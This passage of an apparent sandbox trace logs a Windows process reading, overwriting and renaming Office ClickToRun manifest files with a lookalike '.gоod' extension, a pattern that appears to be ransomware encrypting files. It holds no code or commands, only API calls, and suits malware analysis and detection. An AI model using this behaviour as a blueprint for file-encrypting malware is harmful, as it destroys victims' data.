ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70)) returned 1 [0087.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0087.030] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0087.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.030] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.031] GetFileType (hFile=0x7ac) returned 0x1 [0087.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.031] GetFileType (hFile=0x7ac) returned 0x1 [0087.031] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0087.031] ReadFile (in: hFile=0x7ac, lpBuffer=0x33a0a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33a0a98*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0087.032] CloseHandle (hObject=0x7ac) returned 1 [0087.032] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0087.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.032] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.032] GetFileType (hFile=0x7ac) returned 0x1 [0087.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.033] GetFileType (hFile=0x7ac) returned 0x1 [0087.033] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x8f70 [0087.033] WriteFile (in: hFile=0x7ac, lpBuffer=0x33a22b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33a22b8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0087.036] CloseHandle (hObject=0x7ac) returned 1 [0087.036] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0087.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.036] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.037] GetFileType (hFile=0x7ac) returned 0x1 [0087.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.037] GetFileType (hFile=0x7ac) returned 0x1 [0087.037] ReadFile (in: hFile=0x7ac, lpBuffer=0x33a5800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33a5800*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0087.067] CloseHandle (hObject=0x7ac) returned 1 [0087.067] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0087.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.397] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.398] GetFileType (hFile=0x768) returned 0x1 [0087.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.398] GetFileType (hFile=0x768) returned 0x1 [0087.398] WriteFile (in: hFile=0x768, lpBuffer=0x33a44d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x33a44d0*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0087.398] CloseHandle (hObject=0x768) returned 1 [0087.398] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0087.398] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x75 [0087.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0087.398] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x304f4806, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8f80)) returned 1 [0087.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0087.398] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.excelmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excelmui.msi.16.en-us.xml.gоod")) returned 1 [0087.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0087.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0087.399] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3649948 | out: lpFileInformation=0x3649948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e)) returned 1 [0087.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0087.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0087.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.399] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.399] GetFileType (hFile=0x768) returned 0x1 [0087.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.399] GetFileType (hFile=0x768) returned 0x1 [0087.399] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0087.400] ReadFile (in: hFile=0x768, lpBuffer=0x3649ed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3649ed0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0087.401] CloseHandle (hObject=0x768) returned 1 [0087.401] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0087.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.401] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.401] GetFileType (hFile=0x768) returned 0x1 [0087.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.401] GetFileType (hFile=0x768) returned 0x1 [0087.401] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x8f8e [0087.402] WriteFile (in: hFile=0x768, lpBuffer=0x364b280*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x364b280*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0087.402] CloseHandle (hObject=0x768) returned 1 [0087.403] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0087.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.403] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.403] GetFileType (hFile=0x768) returned 0x1 [0087.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.403] GetFileType (hFile=0x768) returned 0x1 [0087.403] ReadFile (in: hFile=0x768, lpBuffer=0x364d638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x364d638*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0087.438] CloseHandle (hObject=0x768) returned 1 [0087.438] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0087.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.438] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.438] GetFileType (hFile=0x768) returned 0x1 [0087.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.438] GetFileType (hFile=0x768) returned 0x1 [0087.439] WriteFile (in: hFile=0x768, lpBuffer=0x364c2d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x364c2d8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0087.439] CloseHandle (hObject=0x768) returned 1 [0087.439] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0087.439] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x82 [0087.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0087.439] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x305444f1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8f9e)) returned 1 [0087.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0087.439] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.gоod")) returned 1 [0087.440] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0087.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0087.440] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x36c9c60 | out: lpFileInformation=0x36c9c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e)) returned 1 [0087.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0087.787] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0087.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.787] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.788] GetFileType (hFile=0x778) returned 0x1 [0087.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.789] GetFileType (hFile=0x778) returned 0x1 [0087.789] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0087.789] ReadFile (in: hFile=0x778, lpBuffer=0x334d658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x334d658*, lpNumberOfBytesRead=0x1faee758*=0x80e, lpOverlapped=0x0) returned 1 [0087.792] CloseHandle (hObject=0x778) returned 1 [0087.792] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0087.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.792] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.793] GetFileType (hFile=0x778) returned 0x1 [0087.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.793] GetFileType (hFile=0x778) returned 0x1 [0087.793] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x180e [0087.793] WriteFile (in: hFile=0x778, lpBuffer=0x334e978*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x334e978*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0087.793] CloseHandle (hObject=0x778) returned 1 [0087.793] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0087.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.794] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.794] GetFileType (hFile=0x778) returned 0x1 [0087.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0087.794] GetFileType (hFile=0x778) returned 0x1 [0087.794] ReadFile (in: hFile=0x778, lpBuffer=0x3350cc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3350cc0*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0087.870] CloseHandle (hObject=0x778) returned 1 [0087.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x71 [0087.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0087.870] CreateFileW 